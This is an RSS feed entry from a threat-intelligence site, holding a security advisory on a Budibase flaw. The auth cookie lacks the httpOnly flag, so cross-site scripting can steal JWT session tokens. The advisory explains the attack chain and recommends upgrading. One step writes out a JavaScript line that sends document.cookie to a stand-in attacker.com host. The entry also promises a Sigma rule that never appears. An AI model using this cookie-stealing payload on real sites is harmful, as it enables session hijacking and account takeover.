<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Budibase — CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/vendors/budibase/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata — refreshed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Tue, 02 Jan 2024 12:00:00 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/vendors/budibase/feed.xml" rel="self" type="application/rss+xml"/><item><title>Budibase XSS Leads to Account Takeover via JWT Theft</title><link>https://feed.craftedsignal.io/briefs/2024-01-budibase-account-takeover/</link><pubDate>Tue, 02 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-budibase-account-takeover/</guid><description>The `budibase:auth` cookie in Budibase is set without the `httpOnly` flag, enabling attackers with XSS to steal JWTs and gain persistent access to user accounts.</description><content:encoded><![CDATA[<p>Budibase, a low-code platform, is vulnerable to account takeover due to the insecure configuration of its authentication cookie. The <code>budibase:auth</code> cookie, which stores the JWT session token, is set without the <code>httpOnly</code> flag. This allows JavaScript, including malicious scripts injected via Cross-Site Scripting (XSS) vulnerabilities like GHSA-gp5x-2v54-v2q5, to access the cookie&rsquo;s contents.  An attacker exploiting this can steal the JWT and use it to impersonate the victim, gaining persistent access to their account.  Furthermore, the cookie lacks the <code>secure</code> and <code>sameSite</code> attributes, exacerbating the risk. This vulnerability affects all Budibase deployments running versions prior to 3.35.10, as the insecure cookie configuration is hardcoded in the backend.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a Budibase instance running a vulnerable version (prior to 3.35.10).</li>
<li>Attacker exploits an existing XSS vulnerability, such as the stored XSS via unsanitized entity names (GHSA-gp5x-2v54-v2q5).</li>
<li>The attacker crafts a malicious JavaScript payload designed to read the <code>budibase:auth</code> cookie using <code>document.cookie</code>.</li>
<li>The injected JavaScript executes within the victim&rsquo;s browser when they interact with the application (e.g., viewing an entity with a malicious name).</li>
<li>The malicious script retrieves the JWT session token from the <code>budibase:auth</code> cookie.</li>
<li>The script exfiltrates the stolen JWT to an attacker-controlled server, for example, by sending it as a URL parameter in an image request: <code>new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);</code>.</li>
<li>The attacker uses the stolen JWT to authenticate to the Budibase application, bypassing normal login procedures.</li>
<li>The attacker gains persistent access to the victim&rsquo;s account and can perform actions as the victim, including accessing sensitive data, modifying application configurations, and creating new malicious entities.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The lack of the <code>httpOnly</code> flag on the <code>budibase:auth</code> cookie transforms every XSS vulnerability in Budibase into a critical account takeover risk. Attackers can persistently compromise user accounts, leading to potential data breaches, unauthorized application modifications, and further propagation of malicious content. This impacts all Budibase deployments running vulnerable versions, potentially affecting a wide range of organizations using the platform for their internal applications and workflows. The vulnerability allows attackers to bypass authentication controls and gain full control over compromised accounts.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Budibase to version 3.35.10 or later to address the insecure cookie configuration in <code>packages/backend-core/src/utils/utils.ts</code>.</li>
<li>Deploy the following Sigma rule to detect potential JWT theft attempts via unusual network connections originating from the browser.</li>
<li>Review and remediate all existing XSS vulnerabilities within your Budibase applications, as they can now lead to full account takeover.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>xss</category><category>account takeover</category><category>jwt</category><category>cookie</category></item></channel></rss>